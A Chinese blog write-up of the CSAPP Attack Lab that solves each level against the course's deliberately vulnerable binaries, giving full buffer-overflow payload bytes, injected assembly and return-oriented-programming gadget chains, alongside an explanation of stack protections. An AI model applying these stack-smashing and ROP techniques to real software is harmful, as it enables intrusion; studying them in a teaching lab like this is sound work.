深入理解计算机系统(CSAPP) 实验:attack lab

lab简介

这个lab中包含两个64位的可执行二进制文件。一个可以被 代码注入 code injection 攻击,一个可以被 面向返回编程 return-oriented programming 攻击。我们需要利用这些弱点来攻击它,改变其运行行为。

这个lab的主要目的是帮助我们 了解栈的规则了解buffer overflow的危险

完成lab

第一部分 代码注入攻击(Code Injection Attack)

目标攻击 ctarget 程序,改变其运行行为以满足实验要求!

1.Level1

unsigned getbuf(){
  char buf[BUFFER_SIZE];
  Gets(buf);
  return 1;
}

void test(){
  int val;
  val = getbuf();
  printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1(){
  vlevel = 1; /* Part of validation protocol */
  printf("Touch1!: You called touch1()\n");
  validate(1);
  exit(0);
}

函数 getbuf 中的 Gets 函数类似C标准库中的函数 gets 。它从标准输入中读取字符串,当遇到 \n 字符时中止,并且将其存储到指定的 目的地。(字符串后面会加一个 NULL 字符)

Gets 函数没有办法确定 目的地 是否足够容纳读入的字符串,这就是可能产生 buffer overflow 的原因!

反汇编函数 test

test_ass.png

反汇编函数 getbuf

getbuf_ass.png

test和getbuf的栈空间

bt1.png

Gets 函数读取的字符串,将存储到函数 getbuf 的栈空间中。我们可以通过输入合适的字符串,充满 getbuf 的栈空间,并且覆写掉 test 函数栈中的 返回地址, 将 返回地址 替换为函数 touch1 的地址,这样函数 getbufretq 指令执行后,下一条要执行的指令的地址就变成了 touch1 函数的地址。

查看touch1的地址

touch1_ass.png

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l1.txt 中。

31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40 00 00 00 00 00 

我的机器使用 小端法c0 17 40 00 00 00 00 00 表示的地址就是 0x4017c0

注入合适的字节序列后test和getbuf的栈空间

bt2.png

新的栈空间符合我们的期望,通过 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l1.txt 中。

./hex2raw < exploit_rawHexByte_l1.txt > exploit_string_l1.txt

验证结果:

l1_result.png

😀level1完成!

2.Level2

void touch2(unsigned val){
  vlevel = 2; /* Part of validation protocol */
  if (val == cookie) {
    printf("Touch2!: You called touch2(0x%.8x)\n", val);
    validate(2);
  } else {
    printf("Misfire: You called touch2(0x%.8x)\n", val);
    fail(2);
  }
    exit(0);
}

反汇编touch2

touch2_ass.png

我们需要把我们的 cookie 值赋给val,即将值设置到 %rdi (通用约定第一个方法参数放入%rdi)。然后调用 touch2 函数。

汇编代码实现 l2.s

movq    $0x59b997fa,%rdi    #set cookie to rdi (param1)
pushq   $0x4017ec           #push touch2 address
ret                         #impl call touch2 (not use call and jump)

0x59b997fa 是我的 cookie 值。

通过汇编代码获取指令字节码

  • 编译汇编文件 l2.s 产生 l2.o
gcc -c l2.s
  • 获取指令字节码
objdump -d l2.o > l2.d
l2.d.png

获得的指令字节码

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

我们将 获取的的指令字节码 写到 getbuf 函数的 栈顶。并且修改 test 栈中的返回地址为 getb函数的 栈顶地址,这样就可以调用我们注入的指令了。

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l2.txt 中。

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

指令填充后test和getbuf的栈空间

bt3.png

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l2.txt 中。

验证结果:

l2_result.png

😀level2完成!

3.Level3

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
  char cbuf[110];
  /* Make position of check string unpredictable */
  char *s = cbuf + random() % 100;
  sprintf(s, "%.8x", val);
  return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
  vlevel = 3; /* Part of validation protocol*/
  if (hexmatch(cookie, sval)) {
    printf("Touch3!: You called touch3(\"%s\")\n", sval);
    validate(3);
  } else {
    printf("Misfire: You called touch3(\"%s\")\n", sval);
    fail(3);
  }
  exit(0);
}

反汇编touch3

touch3_ass.png

本题与 level2 类似,也是需要传入自己的 cookie 。区别在于这里需要传入 cookie 的地址,我们需要把 cookie 的值写入到栈上的某个地方,由于 hexmatch 函数可能会覆写掉 getbuf 栈中的数据。所以我们这里决定,将 cookie 字符串写到 test 函数的栈中。

函数 test 调用 getbuf 之前 %rsp 栈地址是 0x5561dca8 。所以就把 cookie 字符串写到这个位置。

注入的汇编代码

movq    $0x5561dca8,%rdi    #set a address that stored cookie to rdi (param1)
pushq   $0x4018fa           #push touch3 address
ret                         #impl call touch3 (not use call and jump)

cookie字符串的ascii码

0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l3.txt 中。

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

指令填充后test和getbuf的栈空间

bt3.png

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l3.txt 中。

验证结果:

l3_result.png

😀level3完成!

第二部分 面向返回编程 (return-oriented programming)

目标攻击 rtarget 程序,改变其运行行为以满足实验要求!

通过第一部分的代码攻击实验,可以看到 buffer overflow 的漏洞极大的影响了计算机的程序的安全性。通常有以下技术方案可以降低程序被攻击的风险。

  • 栈随机化:栈的地址在每次运行时都是随机变化的。(无法再将攻击代码注入到栈上某个指定的位置了,成功阻止了如第一部分的leve2和leve3那种攻击方式)
  • 栈不可执行:栈上不能执行代码指令。(同样,成功阻止了如第一部分的leve2和leve3那种攻击方式)
  • 栈破坏检查:在栈中局部缓存区前面放置一个状态值,也叫做 金丝雀 ,在使用了缓冲区后检查 金丝雀 的值,如果发现其值发生变更则说明栈被破坏了。(这种保护机制是最强的,从根源上阻止了 buffer overflow 攻击)

rtarget 程序开启了 栈随机化栈不可以执行 这两个保护策略。所以我们需要通过 面向返回编程 来完成第一部分 level2level3 实验,也就是巧妙的利用程序中的 gadget 指令。

什么是gadget指令
gadget 指一段以 ret 指令结尾指令序列。例如,下面的 setval_210 函数就是一段 gadget 指令。

//setval_210 C源码
void setval_210(unsigned* p){
  * p = 3347663060U;
}
//setval_210 指令代码
0000000000400f15 <setval_210>:
    400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
    400f1b: c3 retq

这个部分会用到的指令编码如下

movq.png

popq.png

movl.png

4.part2 Level2

test 函数调用 getbuf 返回时,由于我们无法再像第一部分那用在栈中注入攻击代码。所以需要跳转到合适的 gadget 指令。我们大致需要的指令功能如下:

popq %rax #将cookie弹入 %rax 中
movq %rax,%rdi #将 %rax 的值复制到 %rdi 中,即 touch2 函数中的第一个参数。

获取指令字节码:

指令 指令字节码
popq %rax 58
movq %rax,%rdi 48 89 c7

获取rtarget中可以利用的gadget指令

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

00000000004019b5 <setval_424>:
  4019b5:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:   c3                      retq   

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq   

这里面我们可以找出需要的 popq %rax 指令,其指令字节码为 58 。故其指令地址可以为如下几种:
0x4019ab 测试通过
0x4019b9 测试未通过(92 指令字节码,可能有特殊含义)
0x4019cc 测试通过

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   
00000000004019ae <setval_237>:
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq
00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq      

这里面我们可以找出需要的 movq %rax,%rdi 指令,其指令字节码为 48 89 c7 。故其指令地址可以为如下几种:
4019a2 测试通过
4019b0 测试未通过 (c7 指令字节码,可能有特殊含义)
4019c5 测试通过

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l4.txt 中。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00   /* popq %rax */
fa 97 b9 59 00 00 00 00   /* cookie */
a2 19 40 00 00 00 00 00   /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00   /* touch2 address */

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l4.txt 中。

验证结果:

part2_l2.png

😀 第二部分 level2完成!

5.part2 Level3

这里我们同样将 cookie 写到栈中,并将其地址传入 %rdi 寄存器。这里的难点在于栈地址是随机变化的,所以我们这里将计算一个栈地址的相对偏移量。

理想的条件下,我们期望 test 的栈填充如下数据。

cookie 的字节序列
touch3 函数的地址
gadget指令的地址  /* lea 8(%rsp)   ret */

可是 rtarget 程序中可用的 gadget 指令并不包含 lea 8(%rsp) ret
我们需要通过一些可用 gadget 指令组合来实现相应的功能。

movq %rsp,%raxmovq %rax,%rdi 就是挑出的 8 条 gadget 指令用以实现我们需要的功能。(这里每个 gadget 指令的地址获得方式与上面的 part2 level2 完全一样,不再给出详细的获取过程。)

0x59b997fa /* cookie */
0x4018fa   /* touch3 函数的地址 */
0x4019a2  /* movq %rax,%rdi ret*/
0x4019d6  /* lea(rdi,rsi,1),%rax ret*/ 
0x401a13  /* movl %ecx,%esi ret*/
0x401a70  /* movl %edx,%ecx ret*/
0x4019dd  /* movl %eax,%edx ret*/
0x48
0x4019ab  /* popq %rax ret*/
0x4019a2  /* movq %rax,%rdi ret*/
0x401a06  /* movq %rsp,%rax ret*/ 

这里我们需要理解每条 gadget 指令对 %rsp 地址的影响,mov 类型gadget 指令使得 %rsp+8pop 类型gadget 指令使得 %rsp+16

如上 test 栈中,有7条 mov类型 和1条 pop 类型gadget 指令。所以 %rsp 地址增加了 72(0x48)。这也上面 test 栈结构中出现0x48 的原因。

构造合适的字节序列(16进制表示),写到文件 exploit_rawHexByte_l5.txt 中。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

同样用 hex2raw 工具来将我们构造的字节序列,生成字符串并写到文件 exploit_string_l5.txt 中。

验证结果:

part2_l2.png

😀 第二部分 level3完成!

lab资料

Attack Lab [Updated 1/11/16] (README, lab 操作指南, lab 发布记录, lab 下载)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,616评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,020评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,078评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,040评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,154评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,265评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,298评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,072评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,491评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,795评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,970评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,654评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,272评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,985评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,815评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,852评论 2 351